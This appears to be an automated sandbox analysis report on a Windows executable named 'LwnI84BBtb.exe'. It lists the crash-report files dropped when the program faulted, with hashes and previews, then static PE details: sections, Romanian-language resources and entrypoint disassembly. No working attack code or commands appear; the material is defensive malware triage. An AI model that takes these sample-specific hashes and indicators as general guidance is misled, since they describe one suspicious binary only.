Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0018866717565438
Encrypted:	false
SSDEEP:	192:5OIO0jAL/AQ04DmIwsOoTjldFPzuiFVZ24IO8QF9:xNAjAr4Dm9sBjlzuiFVY4IO8a
MD5:	306E291584A39DC703555859AB08CC00
SHA1:	C7402A8235BDAE7A94E378A6C31CA7B1289FB0F7
SHA-256:	19DEBEFB6BD525DE9AB3357709CC4E21A4C82676CFA98D5B7BC71246F3FD442D
SHA-512:	770EA2704695ADA249DAD55C5C594F570E032D8747FD76CF32980C56A3C52C0683ECE9F89BFA321A8D48AFE126CEEF9BA9080B48FC4B46D1930B9E3A22E03AA6
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.1.1.7.2.2.6.5.1.9.4.0.4.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.8.1.1.7.2.2.7.8.6.3.1.5.7.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.0.9.d.e.2.0.6.-.4.f.d.f.-.4.7.3.4.-.8.9.5.6.-.4.5.0.4.b.a.2.a.f.9.5.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.1.2.a.1.f.f.1.-.4.8.7.a.-.4.5.e.4.-.8.5.6.b.-.4.3.3.4.3.5.f.a.4.c.1.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.L.w.n.I.8.4.B.B.t.b...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.e.4.-.0.0.0.1.-.0.0.1.4.-.6.f.a.8.-.a.e.4.b.5.e.9.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.5.0.c.5.f.b.1.6.4.d.e.7.e.a.c.4.2.a.2.8.d.6.e.4.5.1.a.0.f.5.6.0.0.0.0.0.a.1.6.!.0.0.0.0.6.5.c.1.1.b.c.0.4.5.e.6.9.b.e.c.4.e.1.6.4.9.1.4.b.2.e.2.b.3.b.f.d.2.e.f.1.2.a.2.!.L.w.n.I.8.4.B.B.t.b...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_LwnI84BBtb.exe_e664834b6db86c663fd972c4efd7b7dd6c8b6a_19912bd0_6bfa8470-f327-4b11-9581-4a8c6cf91f20\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9923492421283597
Encrypted:	false
SSDEEP:	192:SiAIO0jnL/lXb0U7vCoTjldFPzuiF1Z24IO8QF9:zNnjVoU7vVjlzuiF1Y4IO8a
MD5:	0782158DE2D9CF3376F06224A4EDEBF5
SHA1:	F1957281891FE1A62A21974C4026CE955DF6D5A4
SHA-256:	68A9B7FDBA291C9647F0C415D8AD914E9C4F813FF33700CDD26D314124E9BB4D
SHA-512:	E4E29B4962266126AF6FD09DFE15F4C9D6A3AE3CFEFACE37ECD31B1B71F14FCF7D564B9E3CF6191FC8FD1157CCBC8744834F37E1BCED3FF0CFA5355047E16916
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.1.1.7.2.2.5.8.0.5.2.5.2.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.1.3.1.0.7.2.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.b.f.a.8.4.7.0.-.f.3.2.7.-.4.b.1.1.-.9.5.8.1.-.4.a.8.c.6.c.f.9.1.f.2.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.0.4.6.0.7.f.4.-.6.f.b.7.-.4.d.c.f.-.8.f.a.e.-.c.f.e.8.9.3.5.3.5.2.f.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.L.w.n.I.8.4.B.B.t.b...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.e.4.-.0.0.0.1.-.0.0.1.4.-.6.f.a.8.-.a.e.4.b.5.e.9.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.5.0.c.5.f.b.1.6.4.d.e.7.e.a.c.4.2.a.2.8.d.6.e.4.5.1.a.0.f.5.6.0.0.0.0.0.a.1.6.!.0.0.0.0.6.5.c.1.1.b.c.0.4.5.e.6.9.b.e.c.4.e.1.6.4.9.1.4.b.2.e.2.b.3.b.f.d.2.e.f.1.2.a.2.!.L.w.n.I.8.4.B.B.t.b...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.1.8.:.1.2.:.5.9.:.4.2.!.0.!.L.w.n.I.8.4.B.B.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBC40.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sat Apr 20 20:07:05 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	53982
Entropy (8bit):	2.6511634522482264
Encrypted:	false
SSDEEP:	384:NXlvb8nyjbBv8wQvfN/Qo4jolslzLEQsj:tlAsbBUjfN/Q/Uyej
MD5:	BB3037356647F8F7F3A93CE46BE8A59C
SHA1:	B1DF2818EE2FD040E5AF4485371D58E253600EBE
SHA-256:	E56346731DF718DB6170D5951CC0E764BB162938CC608381E6A63B3416E07C4A
SHA-512:	DB784689269ED4391F4C89F69390EF4979E094D3649E98D9FA59BA5C540F5B0DEECDC581598AC19346B899BFB490FD93573FF5F704D3A548FA2F20EF7E32EFC2
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......i $f............4...............H...................t....1..........`.......8...........T............=..>...........x ..........d"..............................................................................eJ......."......GenuineIntel............T...........` $f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBCFC.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8410
Entropy (8bit):	3.6929738404547776
Encrypted:	false
SSDEEP:	192:R6l7wVeJNeu6Y16Y9hSUoBjgmfmRW7pND89bDv21fp5/m:R6lXJV6Y16YrSUoFgmf5UDvMfn+
MD5:	DEED6A7AD751BFF9FB3933F57B96BE09
SHA1:	7512F3F2BA23F66B6087D6E043C02B2099263B58
SHA-256:	57C250962AEBFBF59BFFDC63974A30236DB8A014C5366DE51716CDACA78A90EE
SHA-512:	8C8273AF6D3EE169BEA7CEFDC4433F62AE86066D0B612BF8F72AD8FA72B744D4262EF8772A4439378317C05568421F35B064B5BF9F631DA354A144ACCE8A52C4
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.3.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBD1C.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4684
Entropy (8bit):	4.450358073665631
Encrypted:	false
SSDEEP:	48:cvIwWl8zsHJg77aI91qWpW8VYUYm8M4JKN5CFJ1+q8vXN5sGpgJ4md:uIjfpI7fL7VIJKHS1KXHsfJ4md
MD5:	E90C292C817C23F09C7BC61445F452F1
SHA1:	59A04FE650083893FF16161A58AAE3221BDF6714
SHA-256:	996FA0D2458982548EBCA464F6B67418EC17DF4EF98B49B294946287EBB094D6
SHA-512:	B2E824BFDA8864A45375225FE1286C500428D4E4465AFFD6B34ACABBEA0AF7A71BA610BABE846DB327AEAE6AE7B3261F6E8E145EF997F8D51FDFBF64656207BE
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="288669" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBF2E.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sat Apr 20 20:07:06 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	1085334
Entropy (8bit):	1.067144023149537
Encrypted:	false
SSDEEP:	3072:u/NT2n4tPGmTebUHoz8glAH7EHI7PTyXo/5HXhHxds01:uBtPacoz8glAH7AI/yXihHfP1
MD5:	F198C72B73E983CCF8F8F5BB3CF48DBA
SHA1:	6CB29F5F6157CFBD60DC2618C23CD6B53D36255D
SHA-256:	DE8E7768666F9F7FC59BB4597B01645130EC633D82DF904D52E1574122790B91
SHA-512:	86E7E0E002B7F97AB2CEEA04C3C6D90269B11BBD2A3782A15EB3E3F437678FE7E055156120AD28CABCA57581E32309CF0A0F6BBC748DA56F73B9CCEBED44A6FE
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......j $f............4...............H...................d....1..........`.......8...........T...........x=...R..........x ..........d"..............................................................................eJ......."......GenuineIntel............T...........` $f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC394.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8440
Entropy (8bit):	3.6974857177660923
Encrypted:	false
SSDEEP:	192:R6l7wVeJNexq6Yt6Y9BSUokjgmfmEz6cI4pDP89bD4bWsfg54jm:R6lXJiq6Yt6YLSUoggmf5z6cAD4b1f6J
MD5:	B9DCA74D5DA9A1D9DFE7DA84460FBEB3
SHA1:	F01C7610FC4E35DE47E4EADFBF7ADAAF5D7AF046
SHA-256:	181B3A038C36F8C2668C627193A989BAB5DC2B07099BACE27FE13EF14C34FA43
SHA-512:	495F56FAD745F73D36C8C935CC4B62762816F878C9A686251E0495467D2253B3225CB9E594B932B467F8572ABFF9FE6EE97721BBFABD916DF91A07F1A9721636
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.3.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC3B4.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4726
Entropy (8bit):	4.481108623569315
Encrypted:	false
SSDEEP:	48:cvIwWl8zsHJg77aI91qWpW8VYYPYm8M4JKNOrQO3FKmv+q8vXNOrQOtGpgJ43d:uIjfpI7fL7VRSJKGQlmvKXGQ2fJ43d
MD5:	774F69B19A9CCF36565A3BF600CD4746
SHA1:	871D0C93AE8D2ADBAA3F0E2A43A8477B673403E4
SHA-256:	394529242DC0A38CEFC7AC290294BF43082AD560803C0C5ADBC94DF81CAC53B2
SHA-512:	B9F8092CB34D234FB93B1763B4167BCAA637931FDE95DEE8CC27D21EE4E10B96456A640789DA9D8EAB0A92BD806442366454BF2DEB793CC496856F9BB5779867
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="288669" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465397250245093
Encrypted:	false
SSDEEP:	6144:0IXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNddwBCswSbN:JXD94+WlLZMM6YFHr+N
MD5:	2AB80D9D594A587E6E42D21C8D844A7A
SHA1:	DD0A50B674B6B001A5C34782ABF652E20B4D2A5A
SHA-256:	86125B392CF0E8B70723021E18AADACA842EE47231F4B888A9218A099750BDBC
SHA-512:	872C9578B5E6C062540F732C4FF8542B3A1623A523BC7AF9FE25F08349AC5C043C57350D05D1FA493D9D80387AC12DF277A6D6636B0E422D58855ECB7FD5B3DD
Malicious:	false
Reputation:	low
Preview:	regf7...7....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.a.Q^................................................................................................................................................................................................................................................................................................................................................h.e........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.853160286288826
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	LwnI84BBtb.exe
File size:	406'528 bytes
MD5:	49293c745f0fd48ab2784cad7cc5a0ac
SHA1:	65c11bc045e69bec4e164914b2e2b3bfd2ef12a2
SHA256:	25c3cd7375f5244402a5b407a107266c2c93dcaa6f313d78ad944689a2be184f
SHA512:	c99c956c53543773adfb21105ff86ae1793c376075d096ec7a77828b0b004b9a88f458ce2c31def266eef91fb153c71ad87f7aa87985cf86e49af9215bc70316
SSDEEP:	6144:K4E8f5SKo6pmUJFMeZj0nGa4jDmePeGchyU7UvAg6LzsA:K78f5w6pFF3oGPPQ7Uaz1
TLSH:	DD848C0372E1BC66E56247328F5E9AEC372DF8614E15BB5F2248AE2F28701B1D637711
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................W.......h.Q.....i.....................e-m.......S.....e-V.....Rich....................PE..L...@..d...........

File Icon


Icon Hash:	432551414d55510d

Static PE Info

General

Entrypoint:	0x403d77
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x64BFBC40 [Tue Jul 25 12:12:48 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	deee2f3ec985195fc99175dfed532c7c

Entrypoint Preview

Instruction
call 00007FB43D351888h
jmp 00007FB43D34A455h
push 00000014h
push 004177F0h
call 00007FB43D34EA78h
call 00007FB43D351A59h
movzx esi, ax
push 00000002h
call 00007FB43D35181Bh
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007FB43D34A456h
xor ebx, ebx
jmp 00007FB43D34A485h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007FB43D34A43Dh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007FB43D34A42Fh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007FB43D34A45Bh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007FB43D34E26Eh
test eax, eax
jne 00007FB43D34A45Ah
push 0000001Ch
call 00007FB43D34A531h
pop ecx
call 00007FB43D34DA30h
test eax, eax
jne 00007FB43D34A45Ah
push 00000010h
call 00007FB43D34A520h
pop ecx
call 00007FB43D351894h
and dword ptr [ebp-04h], 00000000h
call 00007FB43D35090Dh
test eax, eax
jns 00007FB43D34A45Ah
push 0000001Bh
call 00007FB43D34A506h
pop ecx
call dword ptr [004110C8h]
mov dword ptr [01A14E80h], eax
call 00007FB43D3518AFh
mov dword ptr [0044CDCCh], eax
call 00007FB43D351252h
test eax, eax
jns 00007FB43D34A45Ah

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[IMP] VS2008 SP1 build 30729
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x17c44	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1615000	0x17c00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x11210	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x17178	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x11000	0x19c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xfec5	0x10000	c7d5c14e347f555af284966d3887f38f	False	0.604034423828125	data	6.7072054579447755	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x11000	0x75d0	0x7600	075370d77a13d93e84cafb668839f1a3	False	0.3941009004237288	data	4.941145593266466	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x19000	0x15fbe84	0x33e00	a8fab69814f0b8856893cec71ea5de23	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1615000	0x17c00	0x17c00	5a8350554404b4c58677b1f3fac55ce6	False	0.3187705592105263	data	4.147489583276286	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x1627ae0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.26439232409381663
RT_CURSOR	0x1628988	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.3686823104693141
RT_CURSOR	0x1629230	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.49060693641618497
RT_CURSOR	0x16297c8	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4375
RT_CURSOR	0x16298f8	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0			0.44886363636363635
RT_CURSOR	0x16299d0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x162a878	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x162b120	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_ICON	0x16158d0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.41359447004608296
RT_ICON	0x1615f98	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.16524896265560166
RT_ICON	0x1618540	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.2154255319148936
RT_ICON	0x16189d8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.41359447004608296
RT_ICON	0x16190a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.16524896265560166
RT_ICON	0x161b648	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.2154255319148936
RT_ICON	0x161bae0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.37100213219616207
RT_ICON	0x161c988	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.45306859205776173
RT_ICON	0x161d230	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.4619815668202765
RT_ICON	0x161d8f8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.45664739884393063
RT_ICON	0x161de60	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.2691908713692946
RT_ICON	0x1620408	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.3062851782363977
RT_ICON	0x16214b0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.350177304964539
RT_ICON	0x1621980	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.5666311300639659
RT_ICON	0x1622828	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.5473826714801444
RT_ICON	0x16230d0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.6184971098265896
RT_ICON	0x1623638	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.46524896265560167
RT_ICON	0x1625be0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.48897748592870544
RT_ICON	0x1626c88	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.49631147540983606
RT_ICON	0x1627610	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.4512411347517731
RT_DIALOG	0x162b8a8	0x52	data			0.8780487804878049
RT_STRING	0x162b900	0x3d2	data	Romanian	Romania	0.4539877300613497
RT_STRING	0x162bcd8	0x32a	data	Romanian	Romania	0.47901234567901235
RT_STRING	0x162c008	0x1a8	data	Romanian	Romania	0.49528301886792453
RT_STRING	0x162c1b0	0x30a	data	Romanian	Romania	0.47429305912596403
RT_STRING	0x162c4c0	0x534	data	Romanian	Romania	0.44744744744744747
RT_STRING	0x162c9f8	0x208	data	Romanian	Romania	0.5038461538461538
RT_GROUP_CURSOR	0x1629798	0x30	data			0.9375
RT_GROUP_CURSOR	0x16299a8	0x22	data			1.0588235294117647
RT_GROUP_CURSOR	0x162b688	0x30	data			0.9375
RT_GROUP_ICON	0x1627a78	0x68	data	Romanian	Romania	0.7115384615384616
RT_GROUP_ICON	0x16189a8	0x30	data	Romanian	Romania	0.9375
RT_GROUP_ICON	0x1621918	0x68	data	Romanian	Romania	0.7115384615384616
RT_GROUP_ICON	0x161bab0	0x30	data	Romanian	Romania	1.0
RT_VERSION	0x162b6b8	0x1ec	data			0.5386178861788617

Imports

DLL	Import
